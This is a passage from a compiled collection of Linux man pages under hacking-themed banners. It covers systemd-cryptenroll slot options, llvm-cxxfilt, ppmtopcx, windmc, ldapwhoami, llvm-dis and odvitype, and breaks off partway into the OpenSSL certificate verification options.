The –tpm2-signature= option takes a path to a TPM2 PCR signature file as generated by the systemd-measure(1) tool. If this is not specified explicitly, a suitable signature file tpm2-pcr-signature.json is searched for in /etc/systemd/, /run/systemd/, /usr/lib/systemd/ (in this order) and used. If a signature file is specified or found it is used to verify if the volume can be unlocked with it given the current PCR state, before the new slot is written to disk. This is intended as safety net to ensure that access to a volume is not lost if a public key is enrolled for which no valid signature for the current PCR state is available. If the supplied signature does not unlock the current PCR state and public key combination, no slot is enrolled and the operation will fail. If no signature file is specified or found no such safety verification is done.

Added in version 252.

**–tpm2-pcrlock=**PATH

Configures a TPM2 pcrlock policy to bind encryption to. Expects a path to a pcrlock policy file as generated by the systemd-pcrlock(1) tool. If a TPM2 device is enrolled and this option is not used but a file pcrlock.json is found in /run/systemd/ or /var/lib/systemd/ it is automatically used. Assign an empty string to turn this behaviour off.

Added in version 255.

**–wipe-slot=**SLOT[,SLOT…]

Wipes one or more LUKS2 key slots. Takes a comma separated list of numeric slot indexes, or the special strings “all” (for wiping all key slots), “empty” (for wiping all key slots that are unlocked by an empty passphrase), “password” (for wiping all key slots that are unlocked by a traditional passphrase), “recovery” (for wiping all key slots that are unlocked by a recovery key), “pkcs11” (for wiping all key slots that are unlocked by a PKCS#11 token), “fido2” (for wiping all key slots that are unlocked by a FIDO2 token), “tpm2” (for wiping all key slots that are unlocked by a TPM2 chip), or any combination of these strings or numeric indexes, in which case all slots matching either are wiped. As safety precaution an operation that wipes all slots without exception (so that the volume cannot be unlocked at all anymore, unless the volume key is known) is refused.

This switch may be used alone, in which case only the requested wipe operation is executed. It may also be used in combination with any of the enrollment options listed above, in which case the enrollment is completed first, and only when successful the wipe operation executed — and the newly added slot is always excluded from the wiping. Combining enrollment and slot wiping may thus be used to update existing enrollments:

systemd-cryptenroll /dev/sda1 –wipe-slot=tpm2 –tpm2-device=auto

The above command will enroll the TPM2 chip, and then wipe all previously created TPM2 enrollments on the LUKS2 volume, leaving only the newly created one. Combining wiping and enrollment may also be used to replace enrollments of different types, for example for changing from a PKCS#11 enrollment to a FIDO2 one:

systemd-cryptenroll /dev/sda1 –wipe-slot=pkcs11 –fido2-device=auto

Or for replacing an enrolled empty password by TPM2:

systemd-cryptenroll /dev/sda1 –wipe-slot=empty –tpm2-device=auto

Added in version 248.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

CREDENTIALS

systemd-cryptenroll supports the service credentials logic as implemented by ImportCredential=/LoadCredential=/SetCredential= (see systemd.exec(5) for details). The following credentials are used when passed in:

cryptenroll.passphrase, cryptenroll.new-passphrase

May contain the passphrase to unlock the volume with/to newly enroll.

Added in version 256.

cryptenroll.tpm2-pin, cryptenroll.new-tpm2-pin

May contain the TPM2 PIN to unlock the volume with/to newly enroll.

Added in version 256.

cryptenroll.fido2-pin

If a FIDO2 token is enrolled this may contain the PIN of the token.

Added in version 256.

cryptenroll.pkcs11-pin

If a PKCS#11 token is enrolled this may contain the PIN of the token.

Added in version 256.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

EXAMPLES

crypttab(5) and systemd-measure(1) contain various examples employing systemd-cryptenroll.

SEE ALSO

systemd(1), [email protected](8), crypttab(5), cryptsetup(8), systemd-measure(1)

NOTES

Linux TPM PCR Registry

https://uapi-group.org/specifications/specs/linux_tpm_pcr_registry/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2240 - Linux cli command llvm-cxxfilt-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-cxxfilt-17 and provides detailed information about the command llvm-cxxfilt-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-cxxfilt-17.

NAME 🖥️ llvm-cxxfilt-17 🖥️

cxxfilt - LLVM symbol name demangler

SYNOPSIS

llvm-cxxfilt [options] [mangled names…]

DESCRIPTION

llvm-cxxfilt is a symbol demangler that can be used as a replacement for the GNU c++filt tool. It takes a series of symbol names and prints their demangled form on the standard output stream. If a name cannot be demangled, it is simply printed as is.

If no names are specified on the command-line, names are read interactively from the standard input stream. When reading names from standard input, each input line is split on characters that are not part of valid Itanium name manglings, i.e. characters that are not alphanumeric, ‘.’, ‘$’, or ‘_’. Separators between names are copied to the output as is.

EXAMPLE

$ llvm-cxxfilt _Z3foov _Z3bari not_mangled foo() bar(int) not_mangled $ cat input.txt | _Z3foov *** _Z3bari *** not_mangled | $ llvm-cxxfilt < input.txt | foo() *** bar(int) *** not_mangled |

OPTIONS

–format=<value>, -s
Mangling scheme to assume. Valid values are auto (default, auto-detect the style) and gnu (assume GNU/Itanium style).

–help, -h
Print a summary of command line options.

–no-strip-underscore, -n
Do not strip a leading underscore. This is the default for all platforms except Mach-O based hosts.

–strip-underscore, -_
Strip a single leading underscore, if present, from each input name before demangling. On by default on Mach-O based platforms.

–types, -t
Attempt to demangle names as type names as well as function names.

–version
Display the version of the llvm-cxxfilt executable.

@<FILE>
Read command-line options from response file <FILE>.

EXIT STATUS

llvm-cxxfilt returns 0 unless it encounters a usage error, in which case a non-zero exit code is returned.

SEE ALSO

llvm-nm(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2241 - Linux cli command ppmtopcx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopcx and provides detailed information about the command ppmtopcx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopcx.

.

NAME 🖥️ ppmtopcx 🖥️

convert a PPM image to a PCX file

SYNOPSIS

ppmtopcx

[-24bit]

[-8bit]

[-packed]

[-stdpalette]

[**-palette=**palettefile]

[**-planes=**planes]

[**-xpos=**cols]

[**-ypos=**rows]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopcx reads a PPM image as input and produces a PCX file as output. The type of the PCX file depends on the number of colors in the input image:

16 colors or fewer:
1 bit/pixel, 1-4 planes, colormap in header

more than 16 colors, but no more than 256:
8 bits/pixel, 1 plane, colormap at the end of the file.

More than 256 colors:
24bit truecolor file (8 bits/pixel, 3 planes).

You can override some of that and explicitly choose the format with the options below.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtopcx recognizes the following command line options:

-24bit
Produce a 24bit truecolor PCX file, even if the image has 256 colors or fewer.

-8bit
Produce an 8bit (256 colors) PCX file, even if the image has 16 colors or fewer.

This option was added in Netpbm 10.18 (August 2003).

-packed
Use “packed pixel” format for files with 16 colors or fewer: 1, 2, or 4 bits/pixel, 1 plane.

-stdpalette
Instead of computing a palette from the colors in the image, use a standard, built-in 16 color palette. If the image contains a color that is not in the standard palette, ppmtopcx fails.

The standard palette is not only a set of colors, but a specific mapping of palette indexes to colors. E.g. red is 4.

You can use pnmremap with a suitable PPM image of the standard palette to adapt your image to use exactly those colors in the palette so that ppmtopcx -stdpalette will work on it.

The file pcxstd.ppm, part of Netpbm, contains the standard palette.

Although the PCX header tells exactly what palette is used in the file, some older PCX interpreters do not use that information. They instead assume the standard palette. If you don’t use the -stdpalette option, ppmtopcx, ppmtopcx may create an image that uses a different palette (a rearrangement of the same colors) and then one of these older interpreters would interpret the colors in the image wrong.

You cannot specify this option along with -palette.

This option was new in Netpbm 10.22 (April 2004).

**-palette=**palettefile
Instead of computing the palette from the colors in the image, use the palette from the file palettefile. If the palette contains a color that is not in that palette, ppmtopcx fails.

The palette file must be a PPM image that contains one pixel for each color in the palette. It doesn’t matter what the aspect ratio of the palette image is. The order of the colors in the PCX palette is the order of the pixels in the PPM image in standard western reading order (left to right, top to bottom). If there is a duplicate color in the palette, ppmtopcx chooses between them arbitrarily in building the PCX raster.

You would need this only if you have a PCX reader that can’t read the palette that is in the PCX file and instead assumes some particular palette. See also the -stdpalette option.

If your input image might contain colors other than those in your palette, you can convert the input image to one that contains only those colors in your palette with pnmremap.

You cannot specify this along with -stdpalette.

This option was new in Netpbhm 10.25 (October 2004).

**-planes=**planes
Generate a PCX file with planes planes, even though the number of colors in the image could be represented in fewer. This makes the file larger, but some PCX interpreters are capable of processing only certain numbers of planes.

This is meaningful only when ppmtopcx generates an image in the 16 color palette format without packed pixels. Consequently, you cannot specify this option together with -24bit or -8bit or -packed.

The valid values for planes are 1, 2, 3, and 4. By default, ppmtopcx chooses the smallest number of planes that can represent the colors in the image. E.g. if there are 5 colors, ppmtopcx chooses 3 planes.

This option was new in Netpbm 10.21 (March 2004).

**-xpos=**cols
**-ypos=**rows
These options set the position of the image in some field (e.g. on a screen) in columns to the right of the left edge and rows below the top edge. The PCX format contains image position information. Don’t confuse this with the position of an area of interest within the image. For example, using pnmpad to add a 10 pixel left border to an image and then converting that image to PCX with xpos = 0 is not the same as converting the original image to PCX and setting xpos = 10.

The values may be from -32767 to 32768.

The default for each is zero.

SEE ALSO

pcxtoppm(1) , ppm(1)

AUTHORS

Copyright (C) 1994 by Ingo Wilken ([email protected])

Based on previous work by Michael Davidson.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopcx.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2242 - Linux cli command x86_64-w64-mingw32ucrt-windmc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-windmc and provides detailed information about the command x86_64-w64-mingw32ucrt-windmc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-windmc.

NAME 🖥️ x86_64-w64-mingw32ucrt-windmc 🖥️

generates Windows message resources

SYNOPSIS

windmc [options] input-file

DESCRIPTION

windmc reads message definitions from an input file (.mc) and translate them into a set of output files. The output files may be of four kinds:

“h”
A C header file containing the message definitions.

“rc”
A resource file compilable by the windres tool.

“bin”
One or more binary files containing the resource data for a specific message language.

“dbg”
A C include file that maps message id’s to their symbolic name.

The exact description of these different formats is available in documentation from Microsoft.

When windmc converts from the mc format to the bin format, rc, h, and optional dbg it is acting like the Windows Message Compiler.

OPTIONS

-a

–ascii_in

Specifies that the input file specified is ASCII. This is the default behaviour.

-A

–ascii_out

Specifies that messages in the output bin files should be in ASCII format.

-b

–binprefix

Specifies that bin filenames should have to be prefixed by the basename of the source file.

-c

–customflag

Sets the customer bit in all message id’s.

-C codepage

–codepage_in codepage

Sets the default codepage to be used to convert input file to UTF16. The default is ocdepage 1252.

-d

–decimal_values

Outputs the constants in the header file in decimal. Default is using hexadecimal output.

-e ext

–extension ext

The extension for the header file. The default is .h extension.

-F target

–target target

Specify the BFD format to use for a bin file as output. This is a BFD target name; you can use the –help option to see a list of supported targets. Normally windmc will use the default format, which is the first one listed by the –help option.

-h path

–headerdir path

The target directory of the generated header file. The default is the current directory.

-H

–help

Displays a list of command-line options and then exits.

-m characters

–maxlength characters

Instructs windmc to generate a warning if the length of any message exceeds the number specified.

-n

–nullterminate

Terminate message text in bin files by zero. By default they are terminated by CR/LF.

-o

–hresult_use

Not yet implemented. Instructs windmc to generate an OLE2 header file, using HRESULT definitions. Status codes are used if the flag is not specified.

-O codepage

–codepage_out codepage

Sets the default codepage to be used to output text files. The default is ocdepage 1252.

-r path

–rcdir path

The target directory for the generated rc script and the generated bin files that the resource compiler script includes. The default is the current directory.

-u

–unicode_in

Specifies that the input file is UTF16.

-U

–unicode_out

Specifies that messages in the output bin file should be in UTF16 format. This is the default behaviour.

-v

–verbose

Enable verbose mode.

-V

–version

Prints the version number for windmc.

-x path

–xdgb path

The path of the dbg C include file that maps message id’s to the symbolic name. No such file is generated without specifying the switch.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2243 - Linux cli command ldapwhoami

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapwhoami and provides detailed information about the command ldapwhoami, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapwhoami.

NAME 🖥️ ldapwhoami 🖥️

LDAP who am i? tool

SYNOPSIS

ldapwhoami [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]]

DESCRIPTION

ldapwhoami implements the LDAP “Who Am I?” extended operation.

ldapwhoami opens a connection to an LDAP server, binds, and performs a whoami operation.

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapwhoami must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually perform the whoami operation. Useful for debugging in conjunction with -v.

-v
Run in verbose mode, with many diagnostics written to standard output.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and whoami extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

WhoAmI extensions:

  (none)

-o* opt***[=optparam]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-o option that can be passed here, check ldap.conf(5) for details.

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ, the command will require the operation to be successful.

EXAMPLE

    ldapwhoami -x -D "cn=Manager,dc=example,dc=com" -W

SEE ALSO

ldap.conf(5), ldap(3), ldap_extended_operation(3)

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2244 - Linux cli command llvm-dis-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-dis-16 and provides detailed information about the command llvm-dis-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-dis-16.

NAME 🖥️ llvm-dis-16 🖥️

dis - LLVM disassembler

SYNOPSIS

llvm-dis [options] [filename]

DESCRIPTION

The llvm-dis command is the LLVM disassembler. It takes an LLVM bitcode file and converts it into human-readable LLVM assembly language.

If filename is omitted or specified as -, llvm-dis reads its input from standard input.

If the input is being read from standard input, then llvm-dis will send its output to standard output by default. Otherwise, the output will be written to a file named after the input file, with a .ll suffix added (any existing .bc suffix will first be removed). You can override the choice of output file using the -o option.

OPTIONS

-f

Enable binary output on terminals. Normally, llvm-dis will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-dis will write raw bitcode regardless of the output device.

-help

Print a summary of command line options.

-o filename

Specify the output file name. If filename is -, then the output is sent to standard output.

EXIT STATUS

If llvm-dis succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

llvm-as(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2245 - Linux cli command odvitype

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odvitype and provides detailed information about the command odvitype, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odvitype.

NAME 🖥️ odvitype 🖥️

translate a dvi file for humans

SYNOPSIS

dvitype dvi_name[.dvi]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The dvitype program translates a DVI (DeVice Independent) file output by (for example) tex(1) or gftodvi(1), to a file that humans can read. It also serves as a DVI file-validating program (i.e., if dvitype can read it, it’s correct) and as an example of a DVI-reading program for future device drivers.

The output file can include all commands, just the important ones, or none at all (in which case only errors are reported). A subinterval of pages may be selected for transliteration; the magnification and resolution of the ``output device’’ may be changed; and so on. All options are specified with an on-line dialog.

The .dvi extension is supplied if omitted from dvi_name. The output goes to stdout.

OPTIONS

**-dpi=**REAL
Set resolution to REAL pixels per inch; default 300.0.

**-magnification=**NUMBER
Override existing magnification with NUMBER.

**-max-pages=**NUMBER
Process NUMBER pages; default one million.

**-output-level=**NUMBER
Verbosity level, from 0 to 4; default 4.

**-page-start=**PAGE-SPEC
Start at PAGE-SPEC, for example `2’ or `5.*.-2'.

-show-opcodes
Show numeric opcodes (in decimal).

ENVIRONMENT

The environment variable TEXFONTS is used to search for the TFM files used in the DVI file. See tex(1) for the details of the searching. If TEXFONTS is not set, it uses the system default.

SEE ALSO

gftype(1), pktype(1).
Donald E. Knuth, TeXware.

AUTHORS

Donald E. Knuth wrote the program. It was published as part of the TeXware technical report, available from the TeX Users Group. Howard Trickey and Pavel Curtis originally ported it to Unix.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2246 - Linux cli command openssl-verification-optionsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-verification-optionsssl and provides detailed information about the command openssl-verification-optionsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-verification-optionsssl.

NAME 🖥️ openssl-verification-optionsssl 🖥️

verification-options - generic X.509 certificate verification options

SYNOPSIS

openssl command [ options … ] [ parameters … ]

DESCRIPTION

There are many situations where X.509 certificates are verified within the OpenSSL libraries and in various OpenSSL commands.

Certificate verification is implemented by X509_verify_cert (3). It is a complicated process consisting of a number of steps and depending on numerous options. The most important of them are detailed in the following sections.

In a nutshell, a valid chain of certificates needs to be built up and verified starting from the target certificate that is to be verified and ending in a certificate that due to some policy is trusted. Verification is done relative to the given purpose, which is the intended use of the target certificate, such as SSL server, or by default for any purpose.

The details of how each OpenSSL command handles errors are documented on the specific command page.

DANE support is documented in openssl-s_client (1), SSL_CTX_dane_enable (3), SSL_set1_host (3), X509_VERIFY_PARAM_set_flags (3), and X509_check_host (3).

Trust Anchors

In general, according to RFC 4158 and RFC 5280, a trust anchor is any public key and related subject distinguished name (DN) that for some reason is considered trusted and thus is acceptable as the root of a chain of certificates.

In practice, trust anchors are given in the form of certificates, where their essential fields are the public key and the subject DN. In addition to the requirements in RFC 5280, OpenSSL checks the validity period of such certificates and makes use of some further fields. In particular, the subject key identifier extension, if present, is used for matching trust anchors during chain building.

In the most simple and common case, trust anchors are by default all self-signed “root” CA certificates that are placed in the trust store, which is a collection of certificates that are trusted for certain uses. This is akin to what is used in the trust stores of Mozilla Firefox, or Apple’s and Microsoft’s certificate stores, …

From the OpenSSL perspective, a trust anchor is a certificate that should be augmented with an explicit designation for which uses of a target certificate the certificate may serve as a trust anchor. In PEM encoding, this is indicated by the TRUSTED CERTIFICATE string. Such a designation provides a set of positive trust attributes explicitly stating trust for the listed purposes and/or a set of negative trust attributes explicitly rejecting the use for the listed purposes. The purposes are encoded using the values defined for the extended key usages (EKUs) that may be given in X.509 extensions of end-entity certificates. See also the “Extended Key Usage” section below.

The currently recognized uses are clientAuth (SSL client use), serverAuth (SSL server use), emailProtection (S/MIME email use), codeSigning (object signer use), OCSPSigning (OCSP responder use), OCSP (OCSP request use), timeStamping (TSA server use), and anyExtendedKeyUsage. As of OpenSSL 1.1.0, the last of these blocks all uses when rejected or enables all uses when trusted.

A certificate, which may be CA certificate or an end-entity certificate, is considered a trust anchor for the given use if and only if all the following conditions hold:

  • It is an an element of the trust store.

  • It does not have a negative trust attribute rejecting the given use.

  • It has a positive trust attribute accepting the given use or (by default) one of the following compatibility conditions apply: It is self-signed or the -partial_chain option is given (which corresponds to the X509_V_FLAG_PARTIAL_CHAIN flag being set).

Certification Path Building

First, a certificate chain is built up starting from the target certificate and ending in a trust anchor.

The chain is built up iteratively, looking up in turn a certificate with suitable key usage that matches as an issuer of the current “subject” certificate as described below. If there is such a certificate, the first one found that is currently valid is taken, otherwise the one that expired most recently of all such certificates. For efficiency, no backtracking is performed, thus any further candidate issuer certificates that would match equally are ignored.

When a self-signed certificate has been added, chain construction stops. In this case it must fully match a trust anchor, otherwise chain building fails.

A candidate issuer certificate matches a subject certificate if all of the following conditions hold:

  • Its subject name matches the issuer name of the subject certificate.

